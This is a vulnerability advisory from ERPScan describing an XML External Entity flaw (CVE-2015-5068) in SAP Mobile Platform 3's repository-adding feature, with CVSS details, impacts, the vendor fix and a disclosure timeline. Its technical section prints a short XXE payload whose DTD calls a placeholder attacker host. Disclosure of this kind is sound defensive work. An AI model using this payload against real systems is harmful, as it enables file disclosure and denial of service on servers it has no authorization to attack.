[ERPSCAN-15-014] SAP Mobile Platform 3 – XXE in Add Repository

ERPSCAN Research Advisory [ERPSCAN-15-014] SAP Mobile Platform 3 – XXE
in Add Repository


Application: SAP Mobile Platform
Versions Affected: SAP Mobile Platform 3, probably others
Vendor URL: http://SAP.com
Bugs: XML External Entity
Sent: 13.03.2015
Reported: 14.03.2015
Vendor response:                14.03.2015
Date of Public Advisory:        15.06.2015
Reference: SAP Security Note 2159601
Author: Vahagn Vardanyan (ERPScan)


Description


1. ADVISORY INFORMATION
Title: SAP Mobile Platform 3
Advisory ID: [ERPSCAN-15-014]
Risk: High
Advisory URL: http://erpscan.com/advisories/erpscan-15-014-sap-mobile-platform-3-xxe-in-add-repository/
Date published: 15.06.2015
Vendors contacted: SAP


2. VULNERABILITY INFORMATION
Class: XML External Entity [CWE-611]
Impact: information disclosure, denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2015-5068
CVSS Information
CVSS Base Score:  5.5 / 10
CVSS Base Vector:
AV : Access Vector (Related exploit range) Network (N)
AC : Access Complexity (Required attack complexity) Low (L)
Au : Authentication (Level of authentication needed to exploit) Single (S)
C : Impact to Confidentiality Partial (P)
I : Impact to Integrity None (N)
A : Impact to Availability Partial (P)

3. VULNERABILITY DESCRIPTION
1) An attacker can read an arbitrary file on a server by sending a
correct XML request with a crafted DTD and reading the response from
the service.
2) An attacker can perform a DoS attack (for example, XML Entity Expansion).
3) An SMB Relay attack is a type of Man-in-the-Middle attack where the
attacker asks the victim to authenticate into a machine controlled by
the attacker, then relays the credentials to the target. The attacker
forwards the authentication information both ways and gets access.


4. VULNERABLE PACKAGES
SAP NetWeaver AS Java 7.4
Other versions are probably affected too, but they were not checked.


5. SOLUTIONS AND WORKAROUNDS
To correct this vulnerability, install SAP Security Note 2159601.


6. AUTHOR
Vahagn Vardanyan (ERPScan)


7. TECHNICAL DESCRIPTION
SAP XML parser validates all incoming XML requests with a
user-specified DTD. Тhe vulnerability is presented in the field for
adding a new repository. When an administrator adds the URL for a new
repository and saves, SAP Mobile Platform searches for these files in
remote URL:
- remote_URL\content.xml
- remote_URL\artifacts.xml

The attacker can change content.xml or artifacts.xml and add malicious code.


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://attacker_IP/">
%remote;]>
<root/>


8. REPORT TIMELINE
Sent: 13.03.2015
Reported:                       14.03.2015
Vendor response:                14.03.2015
Date of Public Advisory:        15.06.2015


9. REFERENCES
http://erpscan.com/advisories/erpscan-15-014-sap-mobile-platform-3-xxe-in-add-repository/


10. ABOUT ERPScan Research
The company’s expertise is based on the research subdivision of
ERPScan, which is engaged in vulnerability research and analysis of
critical enterprise applications. It has achieved multiple
acknowledgments from the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).
ERPScan researchers are proud to have exposed new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and to be
nominated for the best server-side vulnerability at BlackHat 2013.
ERPScan experts have been invited to speak, present, and train at 60+
prime international security conferences in 25+ countries across the
continents. These include BlackHat, RSA, HITB, and private SAP
trainings in several Fortune 2000 companies.
ERPScan researchers lead the project EAS-SEC, which is focused on
enterprise application security research and awareness. They have
published 3 exhaustive annual award-winning surveys about SAP
security.
ERPScan experts have been interviewed by leading media resources and
featured in specialized info-sec publications worldwide. These include
Reuters, Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading,
Heise, and Chinabyte, to name a few.
We have highly qualified experts in staff with experience in many
different fields of security, from web applications and
mobile/embedded to reverse engineering and ICS/SCADA systems,
accumulating their experience to conduct the best SAP security
research.


11. ABOUT ERPScan
ERPScan is one of the most respected and credible Business Application
Security providers. Founded in 2010, the company operates globally.
Named an Emerging vendor in Security by CRN and distinguished by more
than 25 other awards, ERPScan is the leading SAP SE partner in
discovering and resolving security vulnerabilities. ERPScan
consultants work with SAP SE in Walldorf to improve the security of
their latest solutions.
ERPScan’s primary mission is to close the gap between technical and
business security. We provide solutions to secure ERP systems and
business-critical applications from both cyber attacks and internal
fraud. Our clients are usually large enterprises, Fortune 2000
companies, and managed service providers whose requirements are to
actively monitor and manage the security of vast SAP landscapes on a
global scale.
Our flagship product is ERPScan Security Monitoring Suite for SAP.
This multi award-winning innovative software is the only solution on
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The largest companies from diverse industries like oil and gas,
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We follow the sun and function in two hubs located in the Netherlands
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